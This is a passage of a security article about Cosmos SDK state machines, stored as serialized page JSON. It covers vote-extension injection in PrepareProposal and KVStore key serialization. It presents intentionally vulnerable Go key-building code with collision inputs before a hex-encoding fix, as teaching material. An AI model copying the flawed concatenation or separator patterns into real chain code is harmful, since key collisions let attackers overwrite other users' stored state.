json",{"type":23,"tag":481,"props":82016,"children":82017},{"style":525},[82018],{"type":28,"value":199},{"type":23,"tag":481,"props":82020,"children":82021},{"style":610},[82022],{"type":28,"value":82023},"Marshal",{"type":23,"tag":481,"props":82025,"children":82026},{"style":525},[82027],{"type":28,"value":618},{"type":23,"tag":481,"props":82029,"children":82030},{"style":508},[82031],{"type":28,"value":81681},{"type":23,"tag":481,"props":82033,"children":82034},{"style":525},[82035],{"type":28,"value":199},{"type":23,"tag":481,"props":82037,"children":82038},{"style":508},[82039],{"type":28,"value":81936},{"type":23,"tag":481,"props":82041,"children":82042},{"style":525},[82043],{"type":28,"value":675},{"type":23,"tag":481,"props":82045,"children":82046},{"class":483,"line":1125},[82047,82051,82055,82059,82063],{"type":23,"tag":481,"props":82048,"children":82049},{"style":535},[82050],{"type":28,"value":56328},{"type":23,"tag":481,"props":82052,"children":82053},{"style":508},[82054],{"type":28,"value":46046},{"type":23,"tag":481,"props":82056,"children":82057},{"style":514},[82058],{"type":28,"value":61915},{"type":23,"tag":481,"props":82060,"children":82061},{"style":497},[82062],{"type":28,"value":79450},{"type":23,"tag":481,"props":82064,"children":82065},{"style":525},[82066],{"type":28,"value":809},{"type":23,"tag":481,"props":82068,"children":82069},{"class":483,"line":1142},[82070,82075,82079,82084,82088,82092,82096,82101,82105,82110,82114,82118],{"type":23,"tag":481,"props":82071,"children":82072},{"style":508},[82073],{"type":28,"value":82074}," h",{"type":23,"tag":481,"props":82076,"children":82077},{"style":525},[82078],{"type":28,"value":199},{"type":23,"tag":481,"props":82080,"children":82081},{"style":508},[82082],{"type":28,"value":82083},"logger",{"type":23,"tag":481,"props":82085,"children":82086},{"style":525},[82087],{"type":28,"value":199},{"type":23,"tag":481,"props":82089,"children":82090},{"style":610},[82091],{"type":28,"value":34916},{"type":23,"tag":481,"props":82093,"children":82094},{"style":525},[82095],{"type":28,"value":618},{"type":23,"tag":481,"props":82097,"children":82098},{"style":1805},[82099],{"type":28,"value":82100},"\"failed to marshal extended votes\"",{"type":23,"tag":481,"props":82102,"children":82103},{"style":525},[82104],{"type":28,"value":588},{"type":23,"tag":481,"props":82106,"children":82107},{"style":1805},[82108],{"type":28,"value":82109},"\"err\"",{"type":23,"tag":481,"props":82111,"children":82112},{"style":525},[82113],{"type":28,"value":588},{"type":23,"tag":481,"props":82115,"children":82116},{"style":508},[82117],{"type":28,"value":45945},{"type":23,"tag":481,"props":82119,"children":82120},{"style":525},[82121],{"type":28,"value":675},{"type":23,"tag":481,"props":82123,"children":82124},{"class":483,"line":1159},[82125,82129,82133,82137],{"type":23,"tag":481,"props":82126,"children":82127},{"style":535},[82128],{"type":28,"value":58256},{"type":23,"tag":481,"props":82130,"children":82131},{"style":497},[82132],{"type":28,"value":79450},{"type":23,"tag":481,"props":82134,"children":82135},{"style":525},[82136],{"type":28,"value":588},{"type":23,"tag":481,"props":82138,"children":82139},{"style":508},[82140],{"type":28,"value":81171},{"type":23,"tag":481,"props":82142,"children":82143},{"class":483,"line":1172},[82144],{"type":23,"tag":481,"props":82145,"children":82146},{"style":525},[82147],{"type":28,"value":56412},{"type":23,"tag":481,"props":82149,"children":82150},{"class":483,"line":1181},[82151],{"type":23,"tag":481,"props":82152,"children":82153},{"style":514},[82154],{"type":28,"value":80050},{"type":23,"tag":481,"props":82156,"children":82157},{"class":483,"line":1204},[82158],{"type":23,"tag":481,"props":82159,"children":82160},{"style":525},[82161],{"type":28,"value":870},{"type":23,"tag":481,"props":82163,"children":82164},{"class":483,"line":1213},[82165,82170,82174,82178,82182,82187,82191,82196,82200,82204,82208,82212],{"type":23,"tag":481,"props":82166,"children":82167},{"style":508},[82168],{"type":28,"value":82169}," defaultRes",{"type":23,"tag":481,"props":82171,"children":82172},{"style":525},[82173],{"type":28,"value":588},{"type":23,"tag":481,"props":82175,"children":82176},{"style":508},[82177],{"type":28,"value":45945},{"type":23,"tag":481,"props":82179,"children":82180},{"style":514},[82181],{"type":28,"value":73948},{"type":23,"tag":481,"props":82183,"children":82184},{"style":508},[82185],{"type":28,"value":82186}," h",{"type":23,"tag":481,"props":82188,"children":82189},{"style":525},[82190],{"type":28,"value":199},{"type":23,"tag":481,"props":82192,"children":82193},{"style":610},[82194],{"type":28,"value":82195},"defaultPrepareProposal",{"type":23,"tag":481,"props":82197,"children":82198},{"style":525},[82199],{"type":28,"value":618},{"type":23,"tag":481,"props":82201,"children":82202},{"style":508},[82203],{"type":28,"value":17778},{"type":23,"tag":481,"props":82205,"children":82206},{"style":525},[82207],{"type":28,"value":588},{"type":23,"tag":481,"props":82209,"children":82210},{"style":508},[82211],{"type":28,"value":81681},{"type":23,"tag":481,"props":82213,"children":82214},{"style":525},[82215],{"type":28,"value":675},{"type":23,"tag":481,"props":82217,"children":82218},{"class":483,"line":1222},[82219],{"type":23,"tag":481,"props":82220,"children":82221},{"style":514},[82222],{"type":28,"value":79374},{"type":23,"tag":481,"props":82224,"children":82225},{"class":483,"line":1291},[82226,82231,82235,82240,82244],{"type":23,"tag":481,"props":82227,"children":82228},{"style":508},[82229],{"type":28,"value":82230}," proposalTxs",{"type":23,"tag":481,"props":82232,"children":82233},{"style":514},[82234],{"type":28,"value":73948},{"type":23,"tag":481,"props":82236,"children":82237},{"style":508},[82238],{"type":28,"value":82239}," defaultRes",{"type":23,"tag":481,"props":82241,"children":82242},{"style":525},[82243],{"type":28,"value":199},{"type":23,"tag":481,"props":82245,"children":82246},{"style":508},[82247],{"type":28,"value":82248},"Txs\n",{"type":23,"tag":481,"props":82250,"children":82251},{"class":483,"line":1299},[82252,82256,82260,82264,82268],{"type":23,"tag":481,"props":82253,"children":82254},{"style":535},[82255],{"type":28,"value":790},{"type":23,"tag":481,"props":82257,"children":82258},{"style":508},[82259],{"type":28,"value":81751},{"type":23,"tag":481,"props":82261,"children":82262},{"style":514},[82263],{"type":28,"value":61915},{"type":23,"tag":481,"props":82265,"children":82266},{"style":497},[82267],{"type":28,"value":79450},{"type":23,"tag":481,"props":82269,"children":82270},{"style":525},[82271],{"type":28,"value":809},{"type":23,"tag":481,"props":82273,"children":82274},{"class":483,"line":1329},[82275,82280,82284,82288,82293,82298,82302,82307,82311,82316,82320],{"type":23,"tag":481,"props":82276,"children":82277},{"style":508},[82278],{"type":28,"value":82279}," proposalTxs",{"type":23,"tag":481,"props":82281,"children":82282},{"style":514},[82283],{"type":28,"value":517},{"type":23,"tag":481,"props":82285,"children":82286},{"style":610},[82287],{"type":28,"value":75228},{"type":23,"tag":481,"props":82289,"children":82290},{"style":525},[82291],{"type":28,"value":82292},"([][]",{"type":23,"tag":481,"props":82294,"children":82295},{"style":943},[82296],{"type":28,"value":82297},"byte",{"type":23,"tag":481,"props":82299,"children":82300},{"style":525},[82301],{"type":28,"value":74150},{"type":23,"tag":481,"props":82303,"children":82304},{"style":508},[82305],{"type":28,"value":82306},"injection",{"type":23,"tag":481,"props":82308,"children":82309},{"style":525},[82310],{"type":28,"value":74169},{"type":23,"tag":481,"props":82312,"children":82313},{"style":508},[82314],{"type":28,"value":82315},"proposalTxs",{"type":23,"tag":481,"props":82317,"children":82318},{"style":514},[82319],{"type":28,"value":7074},{"type":23,"tag":481,"props":82321,"children":82322},{"style":525},[82323],{"type":28,"value":675},{"type":23,"tag":481,"props":82325,"children":82326},{"class":483,"line":1337},[82327,82332,82336,82340,82344,82348,82352,82357,82361,82366,82370,82374,82378,82382],{"type":23,"tag":481,"props":82328,"children":82329},{"style":508},[82330],{"type":28,"value":82331}," h",{"type":23,"tag":481,"props":82333,"children":82334},{"style":525},[82335],{"type":28,"value":199},{"type":23,"tag":481,"props":82337,"children":82338},{"style":508},[82339],{"type":28,"value":82083},{"type":23,"tag":481,"props":82341,"children":82342},{"style":525},[82343],{"type":28,"value":199},{"type":23,"tag":481,"props":82345,"children":82346},{"style":610},[82347],{"type":28,"value":22221},{"type":23,"tag":481,"props":82349,"children":82350},{"style":525},[82351],{"type":28,"value":618},{"type":23,"tag":481,"props":82353,"children":82354},{"style":1805},[82355],{"type":28,"value":82356},"\"injected local last commit\"",{"type":23,"tag":481,"props":82358,"children":82359},{"style":525},[82360],{"type":28,"value":588},{"type":23,"tag":481,"props":82362,"children":82363},{"style":1805},[82364],{"type":28,"value":82365},"\"height\"",{"type":23,"tag":481,"props":82367,"children":82368},{"style":525},[82369],{"type":28,"value":588},{"type":23,"tag":481,"props":82371,"children":82372},{"style":508},[82373],{"type":28,"value":81681},{"type":23,"tag":481,"props":82375,"children":82376},{"style":525},[82377],{"type":28,"value":199},{"type":23,"tag":481,"props":82379,"children":82380},{"style":508},[82381],{"type":28,"value":81011},{"type":23,"tag":481,"props":82383,"children":82384},{"style":525},[82385],{"type":28,"value":675},{"type":23,"tag":481,"props":82387,"children":82388},{"class":483,"line":1369},[82389],{"type":23,"tag":481,"props":82390,"children":82391},{"style":525},[82392],{"type":28,"value":870},{"type":23,"tag":481,"props":82394,"children":82395},{"class":483,"line":1377},[82396,82400,82404,82408,82412,82416],{"type":23,"tag":481,"props":82397,"children":82398},{"style":535},[82399],{"type":28,"value":13234},{"type":23,"tag":481,"props":82401,"children":82402},{"style":514},[82403],{"type":28,"value":4619},{"type":23,"tag":481,"props":82405,"children":82406},{"style":943},[82407],{"type":28,"value":81690},{"type":23,"tag":481,"props":82409,"children":82410},{"style":525},[82411],{"type":28,"value":199},{"type":23,"tag":481,"props":82413,"children":82414},{"style":943},[82415],{"type":28,"value":81720},{"type":23,"tag":481,"props":82417,"children":82418},{"style":525},[82419],{"type":28,"value":8366},{"type":23,"tag":481,"props":82421,"children":82422},{"class":483,"line":1437},[82423,82428,82432,82436],{"type":23,"tag":481,"props":82424,"children":82425},{"style":508},[82426],{"type":28,"value":82427}," Txs",{"type":23,"tag":481,"props":82429,"children":82430},{"style":525},[82431],{"type":28,"value":12820},{"type":23,"tag":481,"props":82433,"children":82434},{"style":508},[82435],{"type":28,"value":82315},{"type":23,"tag":481,"props":82437,"children":82438},{"style":525},[82439],{"type":28,"value":1033},{"type":23,"tag":481,"props":82441,"children":82442},{"class":483,"line":6528},[82443,82448],{"type":23,"tag":481,"props":82444,"children":82445},{"style":525},[82446],{"type":28,"value":82447}," }, ",{"type":23,"tag":481,"props":82449,"children":82450},{"style":497},[82451],{"type":28,"value":74174},{"type":23,"tag":481,"props":82453,"children":82454},{"class":483,"line":6546},[82455],{"type":23,"tag":481,"props":82456,"children":82457},{"style":525},[82458],{"type":28,"value":879},{"type":23,"tag":481,"props":82460,"children":82461},{"class":483,"line":6591},[82462],{"type":23,"tag":481,"props":82463,"children":82464},{"style":525},[82465],{"type":28,"value":1443},{"type":23,"tag":24,"props":82467,"children":82468},{},[82469,82471,82476,82477,82482,82484,82491],{"type":28,"value":82470},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":64,"props":82472,"children":82474},{"className":82473},[],[82475],{"type":28,"value":80840},{"type":28,"value":578},{"type":23,"tag":64,"props":82478,"children":82480},{"className":82479},[],[82481],{"type":28,"value":80908},{"type":28,"value":82483},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":190,"props":82485,"children":82488},{"href":82486,"rel":82487},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[194],[82489],{"type":28,"value":82490},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":82492},", which will later get rejected by CometBTF.",{"type":23,"tag":31,"props":82494,"children":82496},{"id":82495},"the-keymaker",[82497],{"type":28,"value":82498},"The Keymaker",{"type":23,"tag":24,"props":82500,"children":82501},{},[82502,82504,82510,82512,82517],{"type":28,"value":82503},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":64,"props":82505,"children":82507},{"className":82506},[],[82508],{"type":28,"value":82509},"KVStore",{"type":28,"value":82511}," to handle states efficently. In ",{"type":23,"tag":64,"props":82513,"children":82515},{"className":82514},[],[82516],{"type":28,"value":82509},{"type":28,"value":82518},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":82520,"children":82521},{},[82522],{"type":28,"value":82523},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":82525,"children":82526},{},[82527,82529,82535],{"type":28,"value":82528},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":64,"props":82530,"children":82532},{"className":82531},[],[82533],{"type":28,"value":82534},"positionMap",{"type":28,"value":82536}," structure mentioned below into storage.",{"type":23,"tag":435,"props":82538,"children":82540},{"code":82539,"language":73696,"meta":7,"className":73697,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[82541],{"type":23,"tag":64,"props":82542,"children":82543},{"__ignoreMap":7},[82544,82560,82577,82593,82612,82627,82634,82651],{"type":23,"tag":481,"props":82545,"children":82546},{"class":483,"line":484},[82547,82551,82556],{"type":23,"tag":481,"props":82548,"children":82549},{"style":497},[82550],{"type":28,"value":30272},{"type":23,"tag":481,"props":82552,"children":82553},{"style":943},[82554],{"type":28,"value":82555}," VaultId",{"type":23,"tag":481,"props":82557,"children":82558},{"style":943},[82559],{"type":28,"value":73734},{"type":23,"tag":481,"props":82561,"children":82562},{"class":483,"line":351},[82563,82567,82572],{"type":23,"tag":481,"props":82564,"children":82565},{"style":497},[82566],{"type":28,"value":30272},{"type":23,"tag":481,"props":82568,"children":82569},{"style":943},[82570],{"type":28,"value":82571}," Username",{"type":23,"tag":481,"props":82573,"children":82574},{"style":943},[82575],{"type":28,"value":82576}," string\n",{"type":23,"tag":481,"props":82578,"children":82579},{"class":483,"line":531},[82580,82584,82589],{"type":23,"tag":481,"props":82581,"children":82582},{"style":497},[82583],{"type":28,"value":30272},{"type":23,"tag":481,"props":82585,"children":82586},{"style":943},[82587],{"type":28,"value":82588}," PositionName",{"type":23,"tag":481,"props":82590,"children":82591},{"style":943},[82592],{"type":28,"value":82576},{"type":23,"tag":481,"props":82594,"children":82595},{"class":483,"line":567},[82596,82600,82604,82608],{"type":23,"tag":481,"props":82597,"children":82598},{"style":497},[82599],{"type":28,"value":30272},{"type":23,"tag":481,"props":82601,"children":82602},{"style":943},[82603],{"type":28,"value":4903},{"type":23,"tag":481,"props":82605,"children":82606},{"style":497},[82607],{"type":28,"value":18649},{"type":23,"tag":481,"props":82609,"children":82610},{"style":525},[82611],{"type":28,"value":809},{"type":23,"tag":481,"props":82613,"children":82614},{"class":483,"line":678},[82615,82619,82623],{"type":23,"tag":481,"props":82616,"children":82617},{"style":508},[82618],{"type":28,"value":40752},{"type":23,"tag":481,"props":82620,"children":82621},{"style":525},[82622],{"type":28,"value":73759},{"type":23,"tag":481,"props":82624,"children":82625},{"style":943},[82626],{"type":28,"value":81760},{"type":23,"tag":481,"props":82628,"children":82629},{"class":483,"line":784},[82630],{"type":23,"tag":481,"props":82631,"children":82632},{"style":525},[82633],{"type":28,"value":1443},{"type":23,"tag":481,"props":82635,"children":82636},{"class":483,"line":812},[82637,82641,82646],{"type":23,"tag":481,"props":82638,"children":82639},{"style":497},[82640],{"type":28,"value":30272},{"type":23,"tag":481,"props":82642,"children":82643},{"style":943},[82644],{"type":28,"value":82645}," PositionMap",{"type":23,"tag":481,"props":82647,"children":82648},{"style":514},[82649],{"type":28,"value":82650}," :=\n",{"type":23,"tag":481,"props":82652,"children":82653},{"class":483,"line":825},[82654,82659,82663,82668,82672,82676,82680,82685,82689,82693,82697,82702,82706],{"type":23,"tag":481,"props":82655,"children":82656},{"style":497},[82657],{"type":28,"value":82658}," map",{"type":23,"tag":481,"props":82660,"children":82661},{"style":525},[82662],{"type":28,"value":1269},{"type":23,"tag":481,"props":82664,"children":82665},{"style":943},[82666],{"type":28,"value":82667},"VaultId",{"type":23,"tag":481,"props":82669,"children":82670},{"style":525},[82671],{"type":28,"value":12900},{"type":23,"tag":481,"props":82673,"children":82674},{"style":497},[82675],{"type":28,"value":64631},{"type":23,"tag":481,"props":82677,"children":82678},{"style":525},[82679],{"type":28,"value":1269},{"type":23,"tag":481,"props":82681,"children":82682},{"style":943},[82683],{"type":28,"value":82684},"Username",{"type":23,"tag":481,"props":82686,"children":82687},{"style":525},[82688],{"type":28,"value":12900},{"type":23,"tag":481,"props":82690,"children":82691},{"style":497},[82692],{"type":28,"value":64631},{"type":23,"tag":481,"props":82694,"children":82695},{"style":525},[82696],{"type":28,"value":1269},{"type":23,"tag":481,"props":82698,"children":82699},{"style":943},[82700],{"type":28,"value":82701},"PositionName",{"type":23,"tag":481,"props":82703,"children":82704},{"style":525},[82705],{"type":28,"value":12900},{"type":23,"tag":481,"props":82707,"children":82708},{"style":943},[82709],{"type":28,"value":82710},"Position\n",{"type":23,"tag":24,"props":82712,"children":82713},{},[82714,82716,82722],{"type":28,"value":82715},"Given that there are two levels of keys in ",{"type":23,"tag":64,"props":82717,"children":82719},{"className":82718},[],[82720],{"type":28,"value":82721},"PositionMap",{"type":28,"value":82723},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":435,"props":82725,"children":82727},{"code":82726,"language":73696,"meta":7,"className":73697,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[82728],{"type":23,"tag":64,"props":82729,"children":82730},{"__ignoreMap":7},[82731,82760,82772,82784,82796,82808],{"type":23,"tag":481,"props":82732,"children":82733},{"class":483,"line":484},[82734,82739,82743,82747,82751,82756],{"type":23,"tag":481,"props":82735,"children":82736},{"style":508},[82737],{"type":28,"value":82738},"storageKey",{"type":23,"tag":481,"props":82740,"children":82741},{"style":514},[82742],{"type":28,"value":73948},{"type":23,"tag":481,"props":82744,"children":82745},{"style":508},[82746],{"type":28,"value":79766},{"type":23,"tag":481,"props":82748,"children":82749},{"style":525},[82750],{"type":28,"value":199},{"type":23,"tag":481,"props":82752,"children":82753},{"style":610},[82754],{"type":28,"value":82755},"Sprintf",{"type":23,"tag":481,"props":82757,"children":82758},{"style":525},[82759],{"type":28,"value":988},{"type":23,"tag":481,"props":82761,"children":82762},{"class":483,"line":351},[82763,82768],{"type":23,"tag":481,"props":82764,"children":82765},{"style":1805},[82766],{"type":28,"value":82767}," \"%d%s%s\"",{"type":23,"tag":481,"props":82769,"children":82770},{"style":525},[82771],{"type":28,"value":1033},{"type":23,"tag":481,"props":82773,"children":82774},{"class":483,"line":531},[82775,82780],{"type":23,"tag":481,"props":82776,"children":82777},{"style":508},[82778],{"type":28,"value":82779}," vaultId",{"type":23,"tag":481,"props":82781,"children":82782},{"style":525},[82783],{"type":28,"value":1033},{"type":23,"tag":481,"props":82785,"children":82786},{"class":483,"line":567},[82787,82792],{"type":23,"tag":481,"props":82788,"children":82789},{"style":508},[82790],{"type":28,"value":82791}," username",{"type":23,"tag":481,"props":82793,"children":82794},{"style":525},[82795],{"type":28,"value":1033},{"type":23,"tag":481,"props":82797,"children":82798},{"class":483,"line":678},[82799,82804],{"type":23,"tag":481,"props":82800,"children":82801},{"style":508},[82802],{"type":28,"value":82803}," positionName",{"type":23,"tag":481,"props":82805,"children":82806},{"style":525},[82807],{"type":28,"value":1033},{"type":23,"tag":481,"props":82809,"children":82810},{"class":483,"line":784},[82811],{"type":23,"tag":481,"props":82812,"children":82813},{"style":525},[82814],{"type":28,"value":675},{"type":23,"tag":24,"props":82816,"children":82817},{},[82818],{"type":28,"value":82819},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":435,"props":82821,"children":82823},{"code":82822},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[82824],{"type":23,"tag":64,"props":82825,"children":82826},{"__ignoreMap":7},[82827],{"type":28,"value":82822},{"type":23,"tag":24,"props":82829,"children":82830},{},[82831,82836],{"type":23,"tag":127,"props":82832,"children":82833},{},[82834],{"type":28,"value":82835},"So, how can we mitigate this issue?",{"type":28,"value":82837},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":435,"props":82839,"children":82841},{"code":82840,"language":73696,"meta":7,"className":73697,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[82842],{"type":23,"tag":64,"props":82843,"children":82844},{"__ignoreMap":7},[82845,82856,82873,82880,82887,82914,82926,82937,82948,82959,82970,82981],{"type":23,"tag":481,"props":82846,"children":82847},{"class":483,"line":484},[82848,82852],{"type":23,"tag":481,"props":82849,"children":82850},{"style":497},[82851],{"type":28,"value":7139},{"type":23,"tag":481,"props":82853,"children":82854},{"style":525},[82855],{"type":28,"value":76098},{"type":23,"tag":481,"props":82857,"children":82858},{"class":483,"line":351},[82859,82864,82868],{"type":23,"tag":481,"props":82860,"children":82861},{"style":508},[82862],{"type":28,"value":82863}," Seperator",{"type":23,"tag":481,"props":82865,"children":82866},{"style":514},[82867],{"type":28,"value":517},{"type":23,"tag":481,"props":82869,"children":82870},{"style":1805},[82871],{"type":28,"value":82872}," \"|\"\n",{"type":23,"tag":481,"props":82874,"children":82875},{"class":483,"line":531},[82876],{"type":23,"tag":481,"props":82877,"children":82878},{"style":525},[82879],{"type":28,"value":675},{"type":23,"tag":481,"props":82881,"children":82882},{"class":483,"line":567},[82883],{"type":23,"tag":481,"props":82884,"children":82885},{"emptyLinePlaceholder":15},[82886],{"type":28,"value":1210},{"type":23,"tag":481,"props":82888,"children":82889},{"class":483,"line":678},[82890,82894,82898,82902,82906,82910],{"type":23,"tag":481,"props":82891,"children":82892},{"style":508},[82893],{"type":28,"value":82738},{"type":23,"tag":481,"props":82895,"children":82896},{"style":514},[82897],{"type":28,"value":73948},{"type":23,"tag":481,"props":82899,"children":82900},{"style":508},[82901],{"type":28,"value":79766},{"type":23,"tag":481,"props":82903,"children":82904},{"style":525},[82905],{"type":28,"value":199},{"type":23,"tag":481,"props":82907,"children":82908},{"style":610},[82909],{"type":28,"value":82755},{"type":23,"tag":481,"props":82911,"children":82912},{"style":525},[82913],{"type":28,"value":988},{"type":23,"tag":481,"props":82915,"children":82916},{"class":483,"line":784},[82917,82922],{"type":23,"tag":481,"props":82918,"children":82919},{"style":1805},[82920],{"type":28,"value":82921}," \"%d%s%s%s%s\"",{"type":23,"tag":481,"props":82923,"children":82924},{"style":525},[82925],{"type":28,"value":1033},{"type":23,"tag":481,"props":82927,"children":82928},{"class":483,"line":812},[82929,82933],{"type":23,"tag":481,"props":82930,"children":82931},{"style":508},[82932],{"type":28,"value":82779},{"type":23,"tag":481,"props":82934,"children":82935},{"style":525},[82936],{"type":28,"value":1033},{"type":23,"tag":481,"props":82938,"children":82939},{"class":483,"line":825},[82940,82944],{"type":23,"tag":481,"props":82941,"children":82942},{"style":508},[82943],{"type":28,"value":82863},{"type":23,"tag":481,"props":82945,"children":82946},{"style":525},[82947],{"type":28,"value":1033},{"type":23,"tag":481,"props":82949,"children":82950},{"class":483,"line":843},[82951,82955],{"type":23,"tag":481,"props":82952,"children":82953},{"style":508},[82954],{"type":28,"value":82791},{"type":23,"tag":481,"props":82956,"children":82957},{"style":525},[82958],{"type":28,"value":1033},{"type":23,"tag":481,"props":82960,"children":82961},{"class":483,"line":864},[82962,82966],{"type":23,"tag":481,"props":82963,"children":82964},{"style":508},[82965],{"type":28,"value":82863},{"type":23,"tag":481,"props":82967,"children":82968},{"style":525},[82969],{"type":28,"value":1033},{"type":23,"tag":481,"props":82971,"children":82972},{"class":483,"line":873},[82973,82977],{"type":23,"tag":481,"props":82974,"children":82975},{"style":508},[82976],{"type":28,"value":82803},{"type":23,"tag":481,"props":82978,"children":82979},{"style":525},[82980],{"type":28,"value":1033},{"type":23,"tag":481,"props":82982,"children":82983},{"class":483,"line":1125},[82984],{"type":23,"tag":481,"props":82985,"children":82986},{"style":525},[82987],{"type":28,"value":675},{"type":23,"tag":24,"props":82989,"children":82990},{},[82991],{"type":28,"value":82992},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":82994,"children":82995},{},[82996,82998,83004,83005,83011],{"type":28,"value":82997},"Sadly, it doesn't. Since the ",{"type":23,"tag":64,"props":82999,"children":83001},{"className":83000},[],[83002],{"type":28,"value":83003},"username",{"type":28,"value":8478},{"type":23,"tag":64,"props":83006,"children":83008},{"className":83007},[],[83009],{"type":28,"value":83010},"vaultName",{"type":28,"value":83012}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":23,"tag":435,"props":83014,"children":83016},{"code":83015},"vaultId = 1, username = \"a|\", positionName = \"b\"\n => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\", positionName = \"|b\"\n => storageKey = \"1|a||b\"\n",[83017],{"type":23,"tag":64,"props":83018,"children":83019},{"__ignoreMap":7},[83020],{"type":28,"value":83015},{"type":23,"tag":24,"props":83022,"children":83023},{},[83024],{"type":28,"value":83025},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":23,"tag":435,"props":83027,"children":83029},{"code":83028,"language":73696,"meta":7,"className":73697,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded\n)\n",[83030],{"type":23,"tag":64,"props":83031,"children":83032},{"__ignoreMap":7},[83033,83044,83059,83066,83073,83080,83101,83117,83155,83162,83199,83206,83226,83241,83277,83284,83319,83326,83353,83364,83375,83386,83398,83409,83417],{"type":23,"tag":481,"props":83034,"children":83035},{"class":483,"line":484},[83036,83040],{"type":23,"tag":481,"props":83037,"children":83038},{"style":497},[83039],{"type":28,"value":7139},{"type":23,"tag":481,"props":83041,"children":83042},{"style":525},[83043],{"type":28,"value":76098},{"type":23,"tag":481,"props":83045,"children":83046},{"class":483,"line":351},[83047,83051,83055],{"type":23,"tag":481,"props":83048,"children":83049},{"style":508},[83050],{"type":28,"value":82863},{"type":23,"tag":481,"props":83052,"children":83053},{"style":514},[83054],{"type":28,"value":517},{"type":23,"tag":481,"props":83056,"children":83057},{"style":1805},[83058],{"type":28,"value":82872},{"type":23,"tag":481,"props":83060,"children":83061},{"class":483,"line":531},[83062],{"type":23,"tag":481,"props":83063,"children":83064},{"style":525},[83065],{"type":28,"value":675},{"type":23,"tag":481,"props":83067,"children":83068},{"class":483,"line":567},[83069],{"type":23,"tag":481,"props":83070,"children":83071},{"emptyLinePlaceholder":15},[83072],{"type":28,"value":1210},{"type":23,"tag":481,"props":83074,"children":83075},{"class":483,"line":678},[83076],{"type":23,"tag":481,"props":83077,"children":83078},{"emptyLinePlaceholder":15},[83079],{"type":28,"value":1210},{"type":23,"tag":481,"props":83081,"children":83082},{"class":483,"line":784},[83083,83088,83092,83097],{"type":23,"tag":481,"props":83084,"children":83085},{"style":508},[83086],{"type":28,"value":83087},"usernameEncoded",{"type":23,"tag":481,"props":83089,"children":83090},{"style":514},[83091],{"type":28,"value":73948},{"type":23,"tag":481,"props":83093,"children":83094},{"style":610},[83095],{"type":28,"value":83096}," make",{"type":23,"tag":481,"props":83098,"children":83099},{"style":525},[83100],{"type":28,"value":988},{"type":23,"tag":481,"props":83102,"children":83103},{"class":483,"line":812},[83104,83109,83113],{"type":23,"tag":481,"props":83105,"children":83106},{"style":525},[83107],{"type":28,"value":83108}," []",{"type":23,"tag":481,"props":83110,"children":83111},{"style":943},[83112],{"type":28,"value":82297},{"type":23,"tag":481,"props":83114,"children":83115},{"style":525},[83116],{"type":28,"value":1033},{"type":23,"tag":481,"props":83118,"children":83119},{"class":483,"line":825},[83120,83125,83129,83134,83138,83142,83146,83150],{"type":23,"tag":481,"props":83121,"children":83122},{"style":508},[83123],{"type":28,"value":83124}," hex",{"type":23,"tag":481,"props":83126,"children":83127},{"style":525},[83128],{"type":28,"value":199},{"type":23,"tag":481,"props":83130,"children":83131},{"style":610},[83132],{"type":28,"value":83133},"EncodedLen",{"type":23,"tag":481,"props":83135,"children":83136},{"style":525},[83137],{"type":28,"value":618},{"type":23,"tag":481,"props":83139,"children":83140},{"style":610},[83141],{"type":28,"value":6621},{"type":23,"tag":481,"props":83143,"children":83144},{"style":525},[83145],{"type":28,"value":618},{"type":23,"tag":481,"props":83147,"children":83148},{"style":508},[83149],{"type":28,"value":83003},{"type":23,"tag":481,"props":83151,"children":83152},{"style":525},[83153],{"type":28,"value":83154},")),\n",{"type":23,"tag":481,"props":83156,"children":83157},{"class":483,"line":843},[83158],{"type":23,"tag":481,"props":83159,"children":83160},{"style":525},[83161],{"type":28,"value":675},{"type":23,"tag":481,"props":83163,"children":83164},{"class":483,"line":864},[83165,83170,83174,83179,83183,83187,83191,83195],{"type":23,"tag":481,"props":83166,"children":83167},{"style":508},[83168],{"type":28,"value":83169},"hex",{"type":23,"tag":481,"props":83171,"children":83172},{"style":525},[83173],{"type":28,"value":199},{"type":23,"tag":481,"props":83175,"children":83176},{"style":61